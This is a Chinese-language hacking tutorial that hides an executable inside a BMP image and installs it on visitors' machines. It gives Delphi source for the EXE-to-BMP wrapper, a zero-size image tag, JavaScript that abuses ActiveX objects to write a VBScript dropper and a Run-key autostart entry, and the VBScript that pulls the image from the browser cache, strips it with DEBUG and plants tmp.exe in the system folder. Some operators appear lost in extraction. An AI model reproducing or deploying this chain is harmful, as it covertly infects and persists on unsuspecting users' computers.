黑客技巧之利用图片做木马应用完全解析

program exe2bmp; 
uses 
Windows, 
SysUtils; 
var len,row,col,fs: DWORD; 
buffer: array[0..255]of char; 
fd: WIN32_FIND_DATA; 
h,hw: THandle; 
begin 
if (ParamStr(1)’’) and(ParamStr(2)’’) then begin //如果运行后没有两个参数则退出 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd); 
fs:=fd.nFileSizeLow; 
col := 4; 
while true do begin 
if (fs mod 12)=0 then begin 
len:=fs; 
end else len:=fs+12-(fs mod 12); 
row := len div col div 3; 
if row>col then begin 
col:=col+4; 
end else Break; 
end; 
FillChar(buffer,256,0); 
{一下为BMP文件头数据} 
Buffer[0]:=’B’;Buffer[1]:=’M’; 
PDWORD(@buffer[18])^:=col; 
PDWORD(@buffer[22])^:=row; 
PDWORD(@buffer[34])^:=len; 
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54; 
PDWORD(@buffer[14])^:=40; 
PWORD(@buffer[26])^:=1; 
PWORD(@buffer[28])^:=24;
{写入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or 
FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); 
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or 
FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); 
WriteFile(hw,buffer,54,col,0); 
repeat 
ReadFile(h,buffer,256,col,0); 
WriteFile(hw,buffer,col,col,0); 
untilcol256; 
WriteFile(hw,buffer,len-fs,col,0); 
CloseHandle(h); 
CloseHandle(hw); 
end; 
end; 
end.

exe2bmp myexe.exe mybmp.bmp

＜IMG width=0 higth="0" srd="mybmp.bmp"＞

document.write(’ ’); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID(’{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}’); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID(’{0D43FE01-F093-11CF-8940-00A0C9054228}’); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+’\\s.vbs’; 
wsh.RegWrite 
(’HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs’,’wscript ’+’"’
+vbs+’" ’); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine(’Option Explicit’); 
st.WriteLine(’Dim FSO,WSH,CACHE,str’); 
st.WriteLine(’Set FSO = CreateObject("Scripting.FileSystemObject")’); 
st.WriteLine(’Set WSH = CreateObject("WScript.Shell")’); 
st.WriteLine(’CACHE=wsh.RegRead
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")’); 
st.WriteLine(’wsh.RegDelete
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")’); 
st.WriteLine (’
wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"’); 
st.WriteLine(’SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"’); 
st.WriteLine(’WScript.Quit()’); 
st.WriteLine(’Function SearchBMPFile(Folder,fname)’); 
st.WriteLine(’ Dim SubFolder,File,Lt,tmp,winsys’); 
st.WriteLine(’ str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname’); 
st.WriteLine(’ if FSO.FileExists(str) then’); 
st.WriteLine(’ tmp=fso.GetSpecialFolder(2) & "\\"’); 
st.WriteLine(’ winsys=fso.GetSpecialFolder(1) & "\\"’); 
st.WriteLine(’ set File=FSO.GetFile(str)’); 
st.WriteLine(’ File.Copy(tmp & "tmp.dat")’); 
st.WriteLine(’ File.Delete’); 
st.WriteLine(’ set Lt=FSO.CreateTextFile(tmp & "tmp.in")’); 
st.WriteLine(’ Lt.WriteLine("rbx")’); 
st.WriteLine(’ Lt.WriteLine("0")’); 
st.WriteLine(’ Lt.WriteLine("rcx")’); 
st.WriteLine(’ Lt.WriteLine("1000")’); 
st.WriteLine(’ Lt.WriteLine("w136")’); 
st.WriteLine(’ Lt.WriteLine("q")’); 
st.WriteLine(’ Lt.Close’); 
st.WriteLine(’ WSH.Run "command /c debug " & tmp & "tmp.dat " & tmp & "tmp.out",false,6’); 
st.WriteLine(’ On Error Resume Next ’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.dat").Delete’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.in").Delete’); 
st.WriteLine(’ FSO.GetFile(tmp & "tmp.out").Delete’); 
st.WriteLine(’ end if’); 
st.WriteLine(’ If Folder.SubFolders.Count  0 Then’); 
st.WriteLine(’ For Each SubFolder In Folder.SubFolders’); 
st.WriteLine(’ SearchBMPFile SubFolder,fname’); 
st.WriteLine(’ Next’); 
st.WriteLine(’ End If’); 
st.WriteLine(’End Function’); 
st.Close(); 
} 
setTimeout(’docsave()’,1000);

Option Explicit 
Dim FSO,WSH,CACHE,str 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSH = CreateObject("WScript.Shell") 
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache") 
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs") 
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe" 
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" 
WScript.Quit() 
Function SearchBMPFile(Folder,fname) 
Dim SubFolder,File,Lt,tmp,winsys 
’从临时文件夹中查找目标BMP图片 
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname 
if FSO.FileExists(str) then 
tmp=fso.GetSpecialFolder(2) & "\" 
winsys=fso.GetSpecialFolder(1) & "\" 
set File=FSO.GetFile(str) 
File.Copy(tmp & "tmp.dat") 
File.Delete 
’生成一个DEBUG脚本 
set Lt=FSO.CreateTextFile(tmp & "tmp.in") 
Lt.WriteLine("rbx") 
Lt.WriteLine("0") 
Lt.WriteLine("rcx") 
’下面一行的1000是十六进制，换回十进制是4096(该数字是你的EXE文件的大小) 
Lt.WriteLine("1000") 
Lt.WriteLine("w136") 
Lt.WriteLine("q") 
Lt.Close 
WSH.Run "command /c debug " & tmp & "tmp.dat " & tmp & "tmp.out",false,6 
On Error Resume Next 
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe") 
FSO.GetFile(tmp & "tmp.dat").Delete 
FSO.GetFile(tmp & "tmp.in").Delete 
FSO.GetFile(tmp & "tmp.out").Delete 
end if 
If Folder.SubFolders.Count  0 Then 
For Each SubFolder In Folder.SubFolders 
SearchBMPFile SubFolder,fname 
Next 
End If 
End Function